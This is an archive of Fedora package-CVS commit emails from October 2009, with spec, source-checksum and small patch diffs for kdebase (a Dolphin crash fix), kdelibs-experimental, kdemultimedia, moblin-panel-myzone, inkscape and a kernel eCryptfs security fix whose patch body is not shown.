--- kdebase-4.3.2/apps/dolphin/src/panels/terminal/terminalpanel.cpp.orig	2009-10-07 12:28:46.000000000 +0200
+++ kdebase-4.3.2/apps/dolphin/src/panels/terminal/terminalpanel.cpp	2009-10-07 12:31:09.000000000 +0200
@@ -23,7 +23,6 @@
 #include <kde_terminal_interface_v2.h>
 #include <kparts/part.h>
 #include <kshell.h>
-#include <kio/netaccess.h>
 
 #include <QBoxLayout>
 #include <QShowEvent>
@@ -58,13 +57,12 @@ void TerminalPanel::setUrl(const KUrl& u
     }
 
     Panel::setUrl(url);
-    KUrl mostLocalUrl = KIO::NetAccess::mostLocalUrl(url, 0);
     const bool sendInput = (m_terminal != 0)
                            && (m_terminal->foregroundProcessId() == -1)
                            && isVisible()
-                           && mostLocalUrl.isLocalFile();
+                           && url.isLocalFile();
     if (sendInput) {
-        m_terminal->sendInput("cd " + KShell::quoteArg(mostLocalUrl.toLocalFile()) + '\n');
+        m_terminal->sendInput("cd " + KShell::quoteArg(url.toLocalFile()) + '\n');
     }
 
 }


Index: kdebase.spec
===================================================================
RCS file: /cvs/extras/rpms/kdebase/F-10/kdebase.spec,v
retrieving revision 1.371
retrieving revision 1.372
diff -u -p -r1.371 -r1.372
--- kdebase.spec	6 Oct 2009 12:49:18 -0000	1.371
+++ kdebase.spec	7 Oct 2009 11:00:12 -0000	1.372
@@ -1,7 +1,7 @@
 Name: kdebase
 Summary: K Desktop Environment 4 - Core Files
 Version: 4.3.2
-Release: 1%{?dist}
+Release: 2%{?dist}
 Epoch: 6
 
 License: GPLv2
@@ -15,6 +15,9 @@ Patch0:   kdebase-4.1.80-nsplugins-paths
 Patch1:   kdebase-4.1.70-konsole-session.patch
 Patch2:   kdebase-4.2.1-home-icon.patch
 
+# 4.3 upstream patches
+Patch100: kdebase-4.3.2-dolphin-kde#202176.patch
+
 %ifnarch s390 s390x
 Requires: eject
 %endif
@@ -107,6 +110,9 @@ Requires: kdelibs4-devel kdepimlibs4-dev
 %patch1 -p1 -b .konsole-session
 %patch2 -p1 -b .home-icon
 
+# 4.3 upstream patches
+%patch100 -p1 -b .dolphin-kde#202176
+
 # fix incorrect assumption that we're building in a combined kdebase tree
 sed -i -e 's/EXISTS "${kdebase_SOURCE_DIR}"/0/g' apps/CMakeLists.txt
 
@@ -228,6 +234,9 @@ fi
 
 
 %changelog
+* Wed Oct 07 2009 Than Ngo <than at redhat.com> - 4.3.2-2
+- fix Dolphin crash (regression)
+
 * Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 



From ltinkl at fedoraproject.org  Wed Oct  7 11:00:14 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 11:00:14 +0000 (UTC)
Subject: rpms/kdebase/F-12 kdebase-4.3.2-dolphin-kde#202176.patch, NONE,
	1.1 kdebase.spec, 1.398, 1.399
Message-ID: <20091007110014.9EBD711C02A3@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdebase/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13382/F-12

Modified Files:
	kdebase.spec 
Added Files:
	kdebase-4.3.2-dolphin-kde#202176.patch 
Log Message:
sync with devel/


kdebase-4.3.2-dolphin-kde#202176.patch:
 terminalpanel.cpp |    6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

--- NEW FILE kdebase-4.3.2-dolphin-kde#202176.patch ---
diff -up kdebase-4.3.2/apps/dolphin/src/panels/terminal/terminalpanel.cpp.orig kdebase-4.3.2/apps/dolphin/src/panels/terminal/terminalpanel.cpp
--- kdebase-4.3.2/apps/dolphin/src/panels/terminal/terminalpanel.cpp.orig	2009-10-07 12:28:46.000000000 +0200
+++ kdebase-4.3.2/apps/dolphin/src/panels/terminal/terminalpanel.cpp	2009-10-07 12:31:09.000000000 +0200
@@ -23,7 +23,6 @@
 #include <kde_terminal_interface_v2.h>
 #include <kparts/part.h>
 #include <kshell.h>
-#include <kio/netaccess.h>
 
 #include <QBoxLayout>
 #include <QShowEvent>
@@ -58,13 +57,12 @@ void TerminalPanel::setUrl(const KUrl& u
     }
 
     Panel::setUrl(url);
-    KUrl mostLocalUrl = KIO::NetAccess::mostLocalUrl(url, 0);
     const bool sendInput = (m_terminal != 0)
                            && (m_terminal->foregroundProcessId() == -1)
                            && isVisible()
-                           && mostLocalUrl.isLocalFile();
+                           && url.isLocalFile();
     if (sendInput) {
-        m_terminal->sendInput("cd " + KShell::quoteArg(mostLocalUrl.toLocalFile()) + '\n');
+        m_terminal->sendInput("cd " + KShell::quoteArg(url.toLocalFile()) + '\n');
     }
 
 }


Index: kdebase.spec
===================================================================
RCS file: /cvs/extras/rpms/kdebase/F-12/kdebase.spec,v
retrieving revision 1.398
retrieving revision 1.399
diff -u -p -r1.398 -r1.399
--- kdebase.spec	6 Oct 2009 12:49:20 -0000	1.398
+++ kdebase.spec	7 Oct 2009 11:00:14 -0000	1.399
@@ -1,7 +1,7 @@
 Name: kdebase
 Summary: K Desktop Environment 4 - Core Files
 Version: 4.3.2
-Release: 1%{?dist}
+Release: 2%{?dist}
 Epoch: 6
 
 License: GPLv2
@@ -15,6 +15,9 @@ Patch0:   kdebase-4.1.80-nsplugins-paths
 Patch1:   kdebase-4.1.70-konsole-session.patch
 Patch2:   kdebase-4.2.1-home-icon.patch
 
+# 4.3 upstream patches
+Patch100: kdebase-4.3.2-dolphin-kde#202176.patch
+
 %ifnarch s390 s390x
 Requires: eject
 %endif
@@ -107,6 +110,9 @@ Requires: kdelibs4-devel kdepimlibs4-dev
 %patch1 -p1 -b .konsole-session
 %patch2 -p1 -b .home-icon
 
+# 4.3 upstream patches
+%patch100 -p1 -b .dolphin-kde#202176
+
 # fix incorrect assumption that we're building in a combined kdebase tree
 sed -i -e 's/EXISTS "${kdebase_SOURCE_DIR}"/0/g' apps/CMakeLists.txt
 
@@ -228,6 +234,9 @@ fi
 
 
 %changelog
+* Wed Oct 07 2009 Than Ngo <than at redhat.com> - 4.3.2-2
+- fix Dolphin crash (regression)
+
 * Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 



From ltinkl at fedoraproject.org  Wed Oct  7 11:01:19 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 11:01:19 +0000 (UTC)
Subject: rpms/kdelibs-experimental/F-10 .cvsignore, 1.3,
	1.4 kdelibs-experimental.spec, 1.2, 1.3 sources, 1.3, 1.4
Message-ID: <20091007110119.ECC4C11C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdelibs-experimental/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13625/F-10

Modified Files:
	.cvsignore kdelibs-experimental.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdelibs-experimental/F-10/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	1 Sep 2009 18:11:11 -0000	1.3
+++ .cvsignore	7 Oct 2009 11:01:19 -0000	1.4
@@ -1 +1 @@
-kdelibs-experimental-4.3.1.tar.bz2
+kdelibs-experimental-4.3.2.tar.bz2


Index: kdelibs-experimental.spec
===================================================================
RCS file: /cvs/extras/rpms/kdelibs-experimental/F-10/kdelibs-experimental.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- kdelibs-experimental.spec	1 Sep 2009 18:11:12 -0000	1.2
+++ kdelibs-experimental.spec	7 Oct 2009 11:01:19 -0000	1.3
@@ -1,5 +1,5 @@
 Name:    kdelibs-experimental
-Version: 4.3.1
+Version: 4.3.2
 Release: 1%{?dist}
 Summary: KDE libraries with experimental or unstable api/abi
 
@@ -61,6 +61,9 @@ rm -rf %{buildroot} 
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdelibs-experimental/F-10/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	1 Sep 2009 18:11:12 -0000	1.3
+++ sources	7 Oct 2009 11:01:19 -0000	1.4
@@ -1 +1 @@
-2fe0a12195bc93848aa7b458c1bfb4af  kdelibs-experimental-4.3.1.tar.bz2
+d473afb133b5b7d3ead9699c17fe6761  kdelibs-experimental-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Wed Oct  7 11:01:20 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 11:01:20 +0000 (UTC)
Subject: rpms/kdelibs-experimental/F-11 .cvsignore, 1.3,
	1.4 kdelibs-experimental.spec, 1.2, 1.3 sources, 1.3, 1.4
Message-ID: <20091007110120.45B0011C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdelibs-experimental/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13625/F-11

Modified Files:
	.cvsignore kdelibs-experimental.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdelibs-experimental/F-11/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	1 Sep 2009 18:11:12 -0000	1.3
+++ .cvsignore	7 Oct 2009 11:01:20 -0000	1.4
@@ -1 +1 @@
-kdelibs-experimental-4.3.1.tar.bz2
+kdelibs-experimental-4.3.2.tar.bz2


Index: kdelibs-experimental.spec
===================================================================
RCS file: /cvs/extras/rpms/kdelibs-experimental/F-11/kdelibs-experimental.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- kdelibs-experimental.spec	1 Sep 2009 18:11:12 -0000	1.2
+++ kdelibs-experimental.spec	7 Oct 2009 11:01:20 -0000	1.3
@@ -1,5 +1,5 @@
 Name:    kdelibs-experimental
-Version: 4.3.1
+Version: 4.3.2
 Release: 1%{?dist}
 Summary: KDE libraries with experimental or unstable api/abi
 
@@ -61,6 +61,9 @@ rm -rf %{buildroot} 
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdelibs-experimental/F-11/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	1 Sep 2009 18:11:12 -0000	1.3
+++ sources	7 Oct 2009 11:01:20 -0000	1.4
@@ -1 +1 @@
-2fe0a12195bc93848aa7b458c1bfb4af  kdelibs-experimental-4.3.1.tar.bz2
+d473afb133b5b7d3ead9699c17fe6761  kdelibs-experimental-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Wed Oct  7 11:01:20 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 11:01:20 +0000 (UTC)
Subject: rpms/kdelibs-experimental/F-12 .cvsignore, 1.9,
	1.10 kdelibs-experimental.spec, 1.11, 1.12 sources, 1.8, 1.9
Message-ID: <20091007110120.8B22011C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdelibs-experimental/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13625/F-12

Modified Files:
	.cvsignore kdelibs-experimental.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdelibs-experimental/F-12/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	1 Sep 2009 18:11:12 -0000	1.9
+++ .cvsignore	7 Oct 2009 11:01:20 -0000	1.10
@@ -1 +1 @@
-kdelibs-experimental-4.3.1.tar.bz2
+kdelibs-experimental-4.3.2.tar.bz2


Index: kdelibs-experimental.spec
===================================================================
RCS file: /cvs/extras/rpms/kdelibs-experimental/F-12/kdelibs-experimental.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- kdelibs-experimental.spec	28 Aug 2009 14:24:08 -0000	1.11
+++ kdelibs-experimental.spec	7 Oct 2009 11:01:20 -0000	1.12
@@ -1,5 +1,5 @@
 Name:    kdelibs-experimental
-Version: 4.3.1
+Version: 4.3.2
 Release: 1%{?dist}
 Summary: KDE libraries with experimental or unstable api/abi
 
@@ -61,6 +61,9 @@ rm -rf %{buildroot} 
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdelibs-experimental/F-12/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	28 Aug 2009 14:24:08 -0000	1.8
+++ sources	7 Oct 2009 11:01:20 -0000	1.9
@@ -1 +1 @@
-2fe0a12195bc93848aa7b458c1bfb4af  kdelibs-experimental-4.3.1.tar.bz2
+d473afb133b5b7d3ead9699c17fe6761  kdelibs-experimental-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Wed Oct  7 11:01:20 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 11:01:20 +0000 (UTC)
Subject: rpms/kdelibs-experimental/devel .cvsignore,1.10,1.11
Message-ID: <20091007110120.D285C11C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdelibs-experimental/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13625/devel

Modified Files:
	.cvsignore 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdelibs-experimental/devel/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	5 Oct 2009 13:59:43 -0000	1.10
+++ .cvsignore	7 Oct 2009 11:01:20 -0000	1.11
@@ -1,2 +1 @@
-kdelibs-experimental-4.3.1.tar.bz2
 kdelibs-experimental-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Wed Oct  7 11:02:43 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 11:02:43 +0000 (UTC)
Subject: rpms/kdemultimedia/F-12 .cvsignore, 1.69, 1.70 kdemultimedia.spec, 
	1.156, 1.157 sources, 1.70, 1.71
Message-ID: <20091007110243.868C211C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdemultimedia/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13831/F-12

Modified Files:
	.cvsignore kdemultimedia.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdemultimedia/F-12/.cvsignore,v
retrieving revision 1.69
retrieving revision 1.70
diff -u -p -r1.69 -r1.70
--- .cvsignore	1 Sep 2009 17:48:26 -0000	1.69
+++ .cvsignore	7 Oct 2009 11:02:43 -0000	1.70
@@ -1 +1 @@
-kdemultimedia-4.3.1.tar.bz2
+kdemultimedia-4.3.2.tar.bz2


Index: kdemultimedia.spec
===================================================================
RCS file: /cvs/extras/rpms/kdemultimedia/F-12/kdemultimedia.spec,v
retrieving revision 1.156
retrieving revision 1.157
diff -u -p -r1.156 -r1.157
--- kdemultimedia.spec	2 Sep 2009 20:21:23 -0000	1.156
+++ kdemultimedia.spec	7 Oct 2009 11:02:43 -0000	1.157
@@ -1,6 +1,6 @@
 Name: kdemultimedia
 Epoch: 6
-Version: 4.3.1
+Version: 4.3.2
 Release: 1%{?dist}
 Summary: K Desktop Environment - Multimedia applications
 
@@ -165,6 +165,9 @@ fi
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdemultimedia/F-12/sources,v
retrieving revision 1.70
retrieving revision 1.71
diff -u -p -r1.70 -r1.71
--- sources	28 Aug 2009 14:38:53 -0000	1.70
+++ sources	7 Oct 2009 11:02:43 -0000	1.71
@@ -1 +1 @@
-e9a74626bc7eec8496ff9157e65025da  kdemultimedia-4.3.1.tar.bz2
+c32305e0d17198387a495e75f3d844ac  kdemultimedia-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Wed Oct  7 11:02:43 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 11:02:43 +0000 (UTC)
Subject: rpms/kdemultimedia/devel .cvsignore,1.70,1.71
Message-ID: <20091007110243.AFBBD11C0298@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdemultimedia/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13831/devel

Modified Files:
	.cvsignore 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdemultimedia/devel/.cvsignore,v
retrieving revision 1.70
retrieving revision 1.71
diff -u -p -r1.70 -r1.71
--- .cvsignore	5 Oct 2009 14:22:20 -0000	1.70
+++ .cvsignore	7 Oct 2009 11:02:43 -0000	1.71
@@ -1,2 +1 @@
-kdemultimedia-4.3.1.tar.bz2
 kdemultimedia-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Wed Oct  7 11:02:42 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 11:02:42 +0000 (UTC)
Subject: rpms/kdemultimedia/F-10 .cvsignore, 1.63, 1.64 kdemultimedia.spec, 
	1.134, 1.135 sources, 1.66, 1.67
Message-ID: <20091007110242.CE64C11C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdemultimedia/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13831/F-10

Modified Files:
	.cvsignore kdemultimedia.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdemultimedia/F-10/.cvsignore,v
retrieving revision 1.63
retrieving revision 1.64
diff -u -p -r1.63 -r1.64
--- .cvsignore	1 Sep 2009 17:48:25 -0000	1.63
+++ .cvsignore	7 Oct 2009 11:02:42 -0000	1.64
@@ -1 +1 @@
-kdemultimedia-4.3.1.tar.bz2
+kdemultimedia-4.3.2.tar.bz2


Index: kdemultimedia.spec
===================================================================
RCS file: /cvs/extras/rpms/kdemultimedia/F-10/kdemultimedia.spec,v
retrieving revision 1.134
retrieving revision 1.135
diff -u -p -r1.134 -r1.135
--- kdemultimedia.spec	1 Sep 2009 17:48:25 -0000	1.134
+++ kdemultimedia.spec	7 Oct 2009 11:02:42 -0000	1.135
@@ -1,6 +1,6 @@
 Name: kdemultimedia
 Epoch: 6
-Version: 4.3.1
+Version: 4.3.2
 Release: 1%{?dist}
 Summary: K Desktop Environment - Multimedia applications
 
@@ -8,7 +8,7 @@ Group:   Applications/Multimedia
 # see also: http://techbase.kde.org/Policies/Licensing_Policy
 License: GPLv2+
 URL:     http://www.kde.org/
-Source0: ftp://ftp.kde.org/pub/kde/unstable/%{version}/src/kdemultimedia-%{version}.tar.bz2
+Source0: ftp://ftp.kde.org/pub/kde/stable/%{version}/src/kdemultimedia-%{version}.tar.bz2
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Patch1: kdemultimedia-4.2.85-nomplayerthumbs.patch
@@ -165,6 +165,9 @@ fi
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdemultimedia/F-10/sources,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- sources	1 Sep 2009 17:48:25 -0000	1.66
+++ sources	7 Oct 2009 11:02:42 -0000	1.67
@@ -1 +1 @@
-e9a74626bc7eec8496ff9157e65025da  kdemultimedia-4.3.1.tar.bz2
+c32305e0d17198387a495e75f3d844ac  kdemultimedia-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Wed Oct  7 11:02:43 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 11:02:43 +0000 (UTC)
Subject: rpms/kdemultimedia/F-11 .cvsignore, 1.66, 1.67 kdemultimedia.spec, 
	1.145, 1.146 sources, 1.67, 1.68
Message-ID: <20091007110243.311E011C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdemultimedia/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13831/F-11

Modified Files:
	.cvsignore kdemultimedia.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdemultimedia/F-11/.cvsignore,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- .cvsignore	1 Sep 2009 17:48:25 -0000	1.66
+++ .cvsignore	7 Oct 2009 11:02:42 -0000	1.67
@@ -1 +1 @@
-kdemultimedia-4.3.1.tar.bz2
+kdemultimedia-4.3.2.tar.bz2


Index: kdemultimedia.spec
===================================================================
RCS file: /cvs/extras/rpms/kdemultimedia/F-11/kdemultimedia.spec,v
retrieving revision 1.145
retrieving revision 1.146
diff -u -p -r1.145 -r1.146
--- kdemultimedia.spec	1 Sep 2009 17:48:25 -0000	1.145
+++ kdemultimedia.spec	7 Oct 2009 11:02:42 -0000	1.146
@@ -1,6 +1,6 @@
 Name: kdemultimedia
 Epoch: 6
-Version: 4.3.1
+Version: 4.3.2
 Release: 1%{?dist}
 Summary: K Desktop Environment - Multimedia applications
 
@@ -8,7 +8,7 @@ Group:   Applications/Multimedia
 # see also: http://techbase.kde.org/Policies/Licensing_Policy
 License: GPLv2+
 URL:     http://www.kde.org/
-Source0: ftp://ftp.kde.org/pub/kde/unstable/%{version}/src/kdemultimedia-%{version}.tar.bz2
+Source0: ftp://ftp.kde.org/pub/kde/stable/%{version}/src/kdemultimedia-%{version}.tar.bz2
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Patch1: kdemultimedia-4.2.85-nomplayerthumbs.patch
@@ -165,6 +165,9 @@ fi
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdemultimedia/F-11/sources,v
retrieving revision 1.67
retrieving revision 1.68
diff -u -p -r1.67 -r1.68
--- sources	1 Sep 2009 17:48:25 -0000	1.67
+++ sources	7 Oct 2009 11:02:43 -0000	1.68
@@ -1 +1 @@
-e9a74626bc7eec8496ff9157e65025da  kdemultimedia-4.3.1.tar.bz2
+c32305e0d17198387a495e75f3d844ac  kdemultimedia-4.3.2.tar.bz2



From pbrobinson at fedoraproject.org  Wed Oct  7 11:04:15 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Wed,  7 Oct 2009 11:04:15 +0000 (UTC)
Subject: rpms/moblin-panel-myzone/devel .cvsignore, 1.5,
	1.6 moblin-panel-myzone.spec, 1.5, 1.6 sources, 1.5, 1.6
Message-ID: <20091007110415.B870C11C00E6@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/moblin-panel-myzone/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14196

Modified Files:
	.cvsignore moblin-panel-myzone.spec sources 
Log Message:
- New upstream 0.0.7 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-myzone/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	17 Sep 2009 16:51:43 -0000	1.5
+++ .cvsignore	7 Oct 2009 11:04:15 -0000	1.6
@@ -1 +1 @@
-moblin-panel-myzone-0.0.6.tar.bz2
+moblin-panel-myzone-0.0.7.tar.bz2


Index: moblin-panel-myzone.spec
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-myzone/devel/moblin-panel-myzone.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- moblin-panel-myzone.spec	17 Sep 2009 16:51:43 -0000	1.5
+++ moblin-panel-myzone.spec	7 Oct 2009 11:04:15 -0000	1.6
@@ -1,5 +1,5 @@
 Name:           moblin-panel-myzone
-Version:        0.0.6
+Version:        0.0.7
 Release:        1%{?dist}
 Summary:        Moblin Panel for MyZone
 
@@ -78,6 +78,9 @@ rm -rf %{buildroot}
 %{_libdir}/libpenge.so
 
 %changelog
+* Wed Oct  7 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.7-1
+- New upstream 0.0.7 release
+
 * Thu Sep 17 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.6-1
 - New upstream 0.0.6 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-myzone/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	17 Sep 2009 16:51:43 -0000	1.5
+++ sources	7 Oct 2009 11:04:15 -0000	1.6
@@ -1 +1 @@
-4845cab659b86c7c7e14476c42b7d7b1  moblin-panel-myzone-0.0.6.tar.bz2
+6dd3777f4d139c6dd5dad5c15475668d  moblin-panel-myzone-0.0.7.tar.bz2



From lkundrak at fedoraproject.org  Wed Oct  7 11:09:06 2009
From: lkundrak at fedoraproject.org (Lubomir Rintel)
Date: Wed,  7 Oct 2009 11:09:06 +0000 (UTC)
Subject: rpms/inkscape/devel inkscape.spec,1.85,1.86 sources,1.26,1.27
Message-ID: <20091007110906.40D4E11C00E6@cvs1.fedora.phx.redhat.com>

Author: lkundrak

Update of /cvs/pkgs/rpms/inkscape/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15611

Modified Files:
	inkscape.spec sources 
Log Message:
* Mon Sep 07 2009 Lubomir Rintel <lkundrak at v3.sk> - 0.47-0.16.pre3.20091017svn
- Move to a later snapshot



Index: inkscape.spec
===================================================================
RCS file: /cvs/pkgs/rpms/inkscape/devel/inkscape.spec,v
retrieving revision 1.85
retrieving revision 1.86
diff -u -p -r1.85 -r1.86
--- inkscape.spec	25 Sep 2009 17:08:18 -0000	1.85
+++ inkscape.spec	7 Oct 2009 11:09:05 -0000	1.86
@@ -1,14 +1,14 @@
 Name:           inkscape
 Version:        0.47
-Release:        0.16.pre3.20090925svn%{?dist}
+Release:        0.16.pre3.20091017svn%{?dist}
 Summary:        Vector-based drawing program using SVG
 
 Group:          Applications/Productivity
 License:        GPLv2+
 URL:            http://inkscape.sourceforge.net/
 #Source0:        http://download.sourceforge.net/inkscape/%{name}-%{version}.tar.bz2
-# svn export -r22293 https://inkscape.svn.sourceforge.net/svnroot/inkscape/inkscape/trunk at 22293 inkscape
-# tar cf - inkscape |xz -9 -c >inkscape.tar.xz
+# svn export -r22413 https://inkscape.svn.sourceforge.net/svnroot/inkscape/inkscape/trunk at 22413 inkscape
+# tar czf inkscape.tar.gz inkscape
 Source0:        %{name}.tar.gz
 
 Patch0:         inkscape-20090410svn-uniconv.patch
@@ -218,6 +218,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Sep 07 2009 Lubomir Rintel <lkundrak at v3.sk> - 0.47-0.16.pre3.20091017svn
+- Move to a later snapshot
+
 * Mon Sep 07 2009 Lubomir Rintel <lkundrak at v3.sk> - 0.47-0.16.pre3.20090925svn
 - Move to a later snapshot
 - Drop debugging compiler flags, enable optimizations again


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/inkscape/devel/sources,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- sources	25 Sep 2009 17:08:18 -0000	1.26
+++ sources	7 Oct 2009 11:09:06 -0000	1.27
@@ -1 +1 @@
-acc22f1af9defbbb7f6759e6810b966a  inkscape.tar.gz
+b6737491add9549d5da3c1e9e9d4db1c  inkscape.tar.gz



From cebbert at fedoraproject.org  Wed Oct  7 11:14:39 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Wed,  7 Oct 2009 11:14:39 +0000 (UTC)
Subject: rpms/kernel/F-10
	ecryptfs-prevent-lower-dentry-from-going-negative-during-unlink.patch,
	NONE, 1.1.2.1 kernel.spec, 1.1206.2.97, 1.1206.2.98
Message-ID: <20091007111439.D206111C00E6@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16692

Modified Files:
      Tag: private-fedora-10-2_6_27
	kernel.spec 
Added Files:
      Tag: private-fedora-10-2_6_27
	ecryptfs-prevent-lower-dentry-from-going-negative-during-unlink.patch 
Log Message:
eCryptfs: Prevent lower dentry from going negative during unlink (CVE-2009-2908)

ecryptfs-prevent-lower-dentry-from-going-negative-during-unlink.patch:
 inode.c |    2 ++
 1 file changed, 2 insertions(+)

